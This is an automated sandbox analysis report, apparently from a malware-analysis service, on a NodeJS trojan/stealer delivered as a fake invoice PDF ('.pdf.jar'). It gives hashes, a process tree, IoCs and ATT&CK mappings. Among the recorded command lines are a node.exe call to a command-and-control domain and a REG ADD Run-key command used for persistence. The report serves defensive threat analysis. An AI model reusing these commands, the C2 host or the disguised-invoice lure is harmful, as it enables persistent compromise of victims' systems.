qnodeservice | 51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5

General

Target

Facture Octobre #052020.pdf.jar
Size

120KB
MD5

c7139ea7b8db4abd3c0928fc15dc523e
SHA1

91c8278bc94c53fcec38777367b70ba670fb582d
SHA256

51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5
SHA512

567b0e55a93a78262608e6a914fb89b6eb500f30327db776507fd5ceed7dace6536154e0f678f3ad3da8a35a3db58c05183caf6b395ee03034761882ffada776

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

4676 node.exe
4536 node.exe
2524 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ab5dbe50-10a0-4163-8b59-6792dd8a2495 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

24 wtfismyip.com
25 wtfismyip.com

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
4676	node.exe
4676	node.exe
4676	node.exe
4676	node.exe
4536	node.exe
4536	node.exe
4536	node.exe
4536	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 4696 wrote to memory of 4348	4696	java.exe	javaw.exe
PID 4696 wrote to memory of 4348	4696	java.exe	javaw.exe
PID 4348 wrote to memory of 4676	4348	javaw.exe	node.exe
PID 4348 wrote to memory of 4676	4348	javaw.exe	node.exe
PID 4676 wrote to memory of 4536	4676	node.exe	node.exe
PID 4676 wrote to memory of 4536	4676	node.exe	node.exe
PID 4536 wrote to memory of 2524	4536	node.exe	node.exe
PID 4536 wrote to memory of 2524	4536	node.exe	node.exe
PID 2524 wrote to memory of 1044	2524	node.exe	cmd.exe
PID 2524 wrote to memory of 1044	2524	node.exe	cmd.exe
PID 1044 wrote to memory of 2160	1044	cmd.exe	reg.exe
PID 1044 wrote to memory of 2160	1044	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Facture Octobre #052020.pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:4696

C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\17ee1f8a.tmp
2⤵
- Suspicious use of WriteProcessMemory
PID:4348

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain mparrain10.duckdns.org
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4676

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4536

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org
5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2524

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
6⤵
- Suspicious use of WriteProcessMemory
PID:1044

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
7⤵
- Adds Run key to start application
PID:2160

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
MD5
be557cd6d1d341e39b0ad672b5903ff0

SHA1
2a8762e83d66db73e38a7d4e27ee9adf95c04ebd

SHA256
551206a0daa3b2eb378ca0b93ddbb440c9f841904ded528b1f824c75d1b6f491

SHA512
0fead7e1131abfc7fee1d7487aa94d63eb1619e96ce4b0a8f1273b3d417eb43f3152c59405623c1bd7dd72c86531a2c620d0d8ac40414c7b9f71835568156366

Download Submit
C:\Users\Admin\AppData\Local\Temp\17ee1f8a.tmp
MD5
c7139ea7b8db4abd3c0928fc15dc523e

SHA1
91c8278bc94c53fcec38777367b70ba670fb582d

SHA256
51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5

SHA512
567b0e55a93a78262608e6a914fb89b6eb500f30327db776507fd5ceed7dace6536154e0f678f3ad3da8a35a3db58c05183caf6b395ee03034761882ffada776

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js
MD5
5ae37d62333fe9f50a67eeab5e814b04

SHA1
104eb57a0a40f109f9810bd1e47dec2db74e9336

SHA256
63084587ceef4fc0f2fe01750fbc83485f43b0c73f6ba14abeb058da28b0431e

SHA512
089ae61fb457376ac5d3ede6aadaf4341722f3ce7dbd4e53c6a1641ce89806e5aaca53dd2427e3390f19d10ad627651e1a4a3e384a4b48a9722706ad050d60f4

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/1044-189-0x0000000000000000-mapping.dmp

Download
memory/2160-190-0x0000000000000000-mapping.dmp

Download
memory/2524-188-0x0000034DCAF40000-0x0000034DCAF41000-memory.dmp

Filesize
4KB

Download
memory/2524-186-0x0000000000000000-mapping.dmp

Download
memory/4348-58-0x0000000000000000-mapping.dmp

Download
memory/4536-182-0x0000000000000000-mapping.dmp

Download
memory/4536-184-0x00000278685C0000-0x00000278685C1000-memory.dmp

Filesize
4KB

Download
memory/4676-181-0x000003C8D2200000-0x000003C8D2201000-memory.dmp

Filesize
4KB

Download
memory/4676-179-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads